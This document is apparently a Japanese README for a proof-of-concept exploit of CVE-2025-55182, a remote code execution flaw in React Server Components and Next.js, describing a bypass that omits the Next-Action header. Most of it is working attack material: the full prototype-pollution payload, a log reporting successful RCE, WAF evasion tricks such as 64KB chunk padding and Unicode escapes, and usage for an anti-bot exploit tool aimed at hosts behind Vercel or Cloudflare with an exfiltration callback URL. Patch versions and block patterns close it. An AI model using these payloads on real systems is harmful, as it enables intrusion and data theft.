
CVE-2025-55182(React Server Components RCE)向けのヘッダーバイパス
| 攻撃ベクトル | Next-Action ヘッダー | WAF 検出 |
|---|
| 元の CVE | 必須 | 検出可能 |
| このバイパス | 不要 | ヘッダールールを回避 |
┌─────────────────────────────────────────────────────────────────────────────┐
│ オリジナルエクスプロイト(ヘッダーあり) │
├─────────────────────────────────────────────────────────────────────────────┤
│ POST / HTTP/1.1 │
│ Next-Action: <action-id> ← ヘッダー必須 │
│ Content-Type: multipart/form-data │
│ │
│ isFetchAction = true → decodeReply() → Chunk.prototype.then() → RCE │
└─────────────────────────────────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────────────────────────────────┐
│ ヘッダーバイパス(ヘッダーなし) │
├─────────────────────────────────────────────────────────────────────────────┤
│ POST / HTTP/1.1 │
│ Content-Type: multipart/form-data ← Next-Action ヘッダーなし! │
│ │
│ isMultipartAction = true → decodeAction() → loadServerReference() │
│ → Promise.all([bound]) → bound.then() → RCE │
└─────────────────────────────────────────────────────────────────────────────┘
const isServerAction = isFetchAction || isURLEncodedAction || isMultipartAction;
if (isMultipartAction && !isFetchAction) {
const action = await decodeAction(formData, serverModuleMap); // バイパス経路
await action(); // RCE
}
┌─────────────────────────────────────────────────────────────────────────────┐
│ ステップ 1: アクション ID を抽出 │
│ GET / → hidden 入力から抽出: <input name="$ACTION_ID_<40-hex>"/> │
└─────────────────────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────────────┐
│ ステップ 2: エクスプロイトを送信(Next-Action ヘッダーなし) │
│ POST / HTTP/1.1 │
│ Content-Type: multipart/form-data; boundary=x │
│ │
│ $ACTION_REF_0: x │
│ $ACTION_0:0: {"id":"<ACTION_ID>","bound":"$@1"} │
│ $ACTION_0:1: <エクスプロイトペイロード> │
│ $ACTION_0:2: "$@1" │
│ $ACTION_0:3: [] │
└─────────────────────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────────────┐
│ ステップ 3: Thenable チェーン実行 │
│ │
│ bound: "$@1" → Chunk(1) │
│ → Promise.all([bound]) が bound.then() を呼び出し │
│ → then: "$2:__proto__:then" → Chunk.prototype.then() │
│ → initializeModelChunk() → "$B1337" ハンドラ │
│ → _formData.get = "$2:constructor:constructor" → Function │
│ → Function(RCE_CODE) → コード実行 │
└─────────────────────────────────────────────────────────────────────────────┘
❯ node test-bypass-2step.cjs
============================================================
CVE-2025-55182 Header Bypass - 2-Step Exploit
============================================================
Target: http://localhost:3000/
[Step 1] Fetching page to extract action IDs...
✓ Compiled / in 1105ms (523 modules)
[+] Found 1 action ID(s):
c1cfa77a4481950d44c534f3a8174689deaefe80
[Step 2] Sending exploit payload (NO Next-Action header)...
------------------------------------------------------------
REQUEST HEADERS:
------------------------------------------------------------
POST / HTTP/1.1
Host: localhost:3000
Content-Type: multipart/form-data; boundary=----FormBoundary1765143043445
(NO Next-Action header!)
------------------------------------------------------------
REQUEST BODY (multipart form):
------------------------------------------------------------
$ACTION_REF_0: x
$ACTION_0:0 (metadata): {"id":"c1cfa77a4481950d44c534f3a8174689deaefe80","bound":"$@1"}
$ACTION_0:1 (exploit): {"then":"$2:__proto__:then","status":"resolved_model",...}
$ACTION_0:2 (circular): "$@1"
$ACTION_0:3 (empty): []
============================================================
*** RCE SUCCESSFUL! ***
============================================================
Proof: 2-STEP RCE SUCCESS 1765143043451
// $ACTION_0:0 - アクションメタデータ
{"id": "<40-char-action-id>", "bound": "$@1"}
// $ACTION_0:1 - エクスプロイトオブジェクト
{
"then": "$2:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "<RCE_CODE>//",
"_chunks": "$Q3",
"_formData": {"get": "$2:constructor:constructor"}
}
}
// $ACTION_0:2 - 循環参照
"$@1"
// $ACTION_0:3 - Map 用の空配列
[]
| 手法 | 方法 | テスト済み |
|---|---|---|
| チャンクパディング | 64KB+ のパディングで WAF バッファを枯渇 | ✓ RCE |
| Unicode エスケープ | then を \u0074\u0068\u0065\u006e に変換 | ✓ |
| URL エンコードされた名前 | %24ACTION_REF_0 | ✓ |
| 変数インデックス | $ACTION_REF_abc、$ACTION_XyZ:0 | ✓ RCE |
POST / HTTP/1.1
Transfer-Encoding: chunked
10200 ← 64KB パディング
--x
Content-Disposition: form-data; name="data"
AAAA... (64KB)
--x
Content-Disposition: form-data; name="$ACTION_REF_0"
...
0
| パッケージ | 脆弱なバージョン | 修正済みバージョン |
|---|---|---|
| react-server-dom-webpack | 19.0.0 - 19.2.0 | 19.0.1+、19.1.2+、19.2.1+ |
| Next.js | 15.x、16.x | 15.0.5+、15.1.9+、15.2.6+、15.3.6+、15.4.8+、15.5.7+、16.0.7+ |
npm install
npm run build && npm run start
# エクスプロイト実行
node test-chunked-v14.cjs # AWS WAF テスト用
node test-bypass-2step.cjs # 2ステップ自動化
# 確認
cat /tmp/2STEP-RCE.txt
JS チャレンジ(Vercel、Cloudflare など)があるターゲット向けに、Puppeteer ベースのエクスプロイトを使用します:
node antibot.cjs [options]
Options:
-t、--target <host> ターゲットホスト名
-p、--port <port> ターゲットポート
-c、--callback <url> データ流出用のコールバック URL
--http HTTP を使用(HTTPS の代わり)
--https HTTPS を使用(デフォルト)
-h、--help ヘルプ表示
使用例:
node antibot.cjs -t example.vercel.app
node antibot.cjs -t localhost -p 3000 --http
node antibot.cjs -t target.com -c https://callback.example.com/exfil
パッチ適用が唯一の信頼できる修正方法です。
$ACTION_REF_ プレフィックスをブロック(最初に URL デコード)$ACTION_[^:]+: 正規表現パターンをブロック